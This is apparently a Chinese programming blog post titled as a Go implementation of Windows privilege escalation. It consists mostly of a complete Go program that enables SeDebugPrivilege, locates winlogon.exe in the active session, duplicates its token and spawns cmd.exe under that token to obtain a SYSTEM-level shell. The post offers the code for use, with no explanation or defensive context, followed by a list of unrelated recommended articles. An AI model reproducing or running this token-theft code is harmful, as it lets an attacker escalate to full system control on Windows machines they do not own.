golang实现windows提权

golang实现windows提权

golang 复制代码
package main

import (
	"fmt"
	"syscall"
	"unsafe"

	"github.com/shirou/gopsutil/process"
	"golang.org/x/sys/windows"
)

const (
	TOKEN_ALL_ACCESS     = 0x000F01FF
	SE_PRIVILEGE_ENABLED = 0x00000002
	TOKEN_DUPLICATE      = 0x00000002
)

var (
	modadvapi32             = syscall.NewLazyDLL("advapi32.dll")
	createProcessWithTokenW = modadvapi32.NewProc("CreateProcessWithTokenW")
)

func CreateProcessWithTokenW(Token windows.Token,
	LogonFlags uint32,
	ApplicationName *uint16,
	CommandLine *uint16,
	CreationFlags uint32,
	Environment **uint16,
	CurrentDirectory *uint16,
	StartupInfo *windows.StartupInfo,
	ProcessInformation *windows.ProcessInformation) bool {

	r0, _, _ := createProcessWithTokenW.Call(
		uintptr(Token),
		uintptr(LogonFlags),
		uintptr(unsafe.Pointer(ApplicationName)),
		uintptr(unsafe.Pointer(CommandLine)),
		uintptr(CreationFlags),
		uintptr(unsafe.Pointer(Environment)),
		uintptr(unsafe.Pointer(CurrentDirectory)),
		uintptr(unsafe.Pointer(StartupInfo)),
		uintptr(unsafe.Pointer(ProcessInformation)))

	return r0 != 0
}

func SetPrivilege() error {
	var hToken windows.Token
	err := windows.OpenProcessToken(windows.CurrentProcess(), TOKEN_ALL_ACCESS, &hToken)
	if err != nil {
		return err
	}
	hToken.Close()
	var tp windows.Tokenprivileges
	tp.PrivilegeCount = 1
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED

	var luid windows.LUID
	se, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
	windows.LookupPrivilegeValue(nil, se, &luid)

	tp.Privileges[0].Luid = luid
	windows.AdjustTokenPrivileges(hToken, false, &tp, uint32(unsafe.Sizeof(windows.Tokenprivileges{})), nil, nil)

	return nil
}

func GetProcessIdByName(targetname string, sessionID uint32) uint32 {
	pids, _ := process.Processes()
	for _, p := range pids {
		name, _ := p.Name()
		if targetname == name {
			var sesID uint32 = 0
			windows.ProcessIdToSessionId(uint32(p.Pid), &sesID)
			if sesID == sessionID {
				return uint32(p.Pid)
			}
		}
	}
	return 0
}
func main() {
	err := SetPrivilege()
	if err != nil {
		fmt.Println("Error:", err)
		return
	}
	// CMD := "cmd.exe"
	targetProcess := "winlogon.exe"
	sessionID := windows.WTSGetActiveConsoleSessionId()
	if sessionID != 0xffffff {
		processId := GetProcessIdByName(targetProcess, sessionID)
		if processId != 0 {
			targetProcessHandle, _ := windows.OpenProcess(0x400, false, processId)
			defer windows.CloseHandle(targetProcessHandle)
			var targetProcessToken windows.Token
			defer targetProcessToken.Close()
			err := windows.OpenProcessToken(targetProcessHandle, TOKEN_DUPLICATE, &targetProcessToken)
			if err != nil {
				fmt.Println("windows.OpenProcessTok", err)
				return
			}
			var impersonationToken windows.Token
			defer impersonationToken.Close()
			err = windows.DuplicateTokenEx(targetProcessToken, TOKEN_ALL_ACCESS, nil, windows.SecurityIdentification, windows.TokenPrimary, &impersonationToken)
			if err != nil {
				fmt.Println("DuplicateTokenEx", err)
				return
			}
			var si windows.StartupInfo
			var pi windows.ProcessInformation
			si.Cb = uint32(unsafe.Sizeof(si))
			Desktop, _ := syscall.UTF16PtrFromString("winsta0\\default")
			si.Desktop = Desktop
			CMDStr, _ := windows.UTF16PtrFromString("cmd.exe")
			status := CreateProcessWithTokenW(impersonationToken, 0, CMDStr, nil, windows.CREATE_NEW_CONSOLE, nil, nil, &si, &pi)
			if !status {
				err = windows.CreateProcessAsUser(impersonationToken, nil, CMDStr, nil, nil, false, 0, nil, nil, &si, &pi)
				if err != nil {
					fmt.Println("CreateProcessAsUser", err)
					return
				}
			}
		}
	}
}
相关推荐
__AtYou__2 小时前
Golang | Leetcode Golang题解之第448题找到所有数组中消失的数字
leetcode·golang·题解
CV金科3 小时前
蓝桥杯—STM32G431RBT6(IIC通信--EEPROM(AT24C02)存储器进行通信)
stm32·单片机·嵌入式硬件·算法·蓝桥杯
千年死缓3 小时前
go+redis基于tcp实现聊天室
redis·tcp/ip·golang
N0zoM1z04 小时前
域内用户名枚举 实验
windows
嵌入式详谈5 小时前
基于STM32的智能风扇控制系统设计
stm32·单片机·嵌入式硬件
小小怪大梦想5 小时前
RTC实时时钟
stm32·单片机·嵌入式硬件
梓䈑7 小时前
【C语言】自定义类型:结构体
c语言·开发语言·windows
吃着火锅x唱着歌7 小时前
Redis设计与实现 学习笔记 第五章 跳跃表
golang
感谢地心引力10 小时前
【MATLAB2024b】安装离线帮助文档(windows)
windows·matlab
技术卷10 小时前
Redis数据库与GO完结篇:redis操作总结与GO使用redis
数据库·redis·golang